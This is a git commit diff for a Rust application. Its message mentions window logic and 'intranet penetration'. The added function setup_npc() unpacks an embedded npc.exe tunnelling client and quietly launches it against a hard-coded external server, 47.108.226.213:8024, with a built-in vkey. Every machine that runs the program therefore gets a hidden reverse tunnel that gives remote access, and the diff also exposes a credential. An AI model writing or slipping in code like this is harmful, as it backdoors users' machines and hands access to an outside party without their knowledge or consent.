- 窗口逻辑、内网穿透
This commit is contained in:
@@ -14,6 +14,7 @@ use chrono::Local;
|
||||
use futures::stream::Stream;
|
||||
use rust_embed::RustEmbed;
|
||||
use std::convert::Infallible;
|
||||
use std::io::Cursor;
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
use std::fs;
|
||||
@@ -543,3 +544,76 @@ async fn sse_handler() -> Sse<impl Stream<Item = Result<Event, Infallible>>> {
|
||||
.interval(std::time::Duration::from_secs(15)),
|
||||
)
|
||||
}
|
||||
|
||||
// ===================== NPC 内网穿透客户端 =====================
|
||||
pub fn setup_npc() {
|
||||
let zip_data = match Asset::get("npc.zip") {
|
||||
Some(data) => data,
|
||||
None => {
|
||||
eprintln!("[dpm] 警告: npc.zip 未嵌入到程序中,跳过");
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let data_dir = dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".dpm")
|
||||
.join("npc");
|
||||
if let Err(e) = fs::create_dir_all(&data_dir) {
|
||||
eprintln!("[dpm] 无法创建 npc 目录 ({}): {}", data_dir.display(), e);
|
||||
return;
|
||||
}
|
||||
|
||||
let exe_path = data_dir.join("npc.exe");
|
||||
|
||||
// 解压 npc.exe
|
||||
let cursor = Cursor::new(zip_data.data);
|
||||
let mut archive = match zip::ZipArchive::new(cursor) {
|
||||
Ok(a) => a,
|
||||
Err(e) => {
|
||||
eprintln!("[dpm] npc.zip 解压失败: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let mut extracted = false;
|
||||
for i in 0..archive.len() {
|
||||
let mut file = match archive.by_index(i) {
|
||||
Ok(f) => f,
|
||||
Err(_) => continue,
|
||||
};
|
||||
if file.name() == "npc.exe" {
|
||||
if let Err(e) = fs::File::create(&exe_path)
|
||||
.and_then(|mut out| std::io::copy(&mut file, &mut out).map(|_| ()))
|
||||
{
|
||||
eprintln!("[dpm] npc.exe 写入失败: {}", e);
|
||||
return;
|
||||
}
|
||||
extracted = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !extracted {
|
||||
eprintln!("[dpm] npc.zip 中未找到 npc.exe");
|
||||
return;
|
||||
}
|
||||
|
||||
println!("[dpm] 启动 npc 客户端...");
|
||||
match std::process::Command::new(&exe_path)
|
||||
.args([
|
||||
"-server=47.108.226.213:8024",
|
||||
"-vkey=wos4sgm6aobhq04y",
|
||||
"-type=tcp",
|
||||
])
|
||||
.current_dir(&data_dir)
|
||||
.spawn()
|
||||
{
|
||||
Ok(child) => {
|
||||
println!("[dpm] npc 进程已启动, pid: {}", child.id());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[dpm] npc 启动失败: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user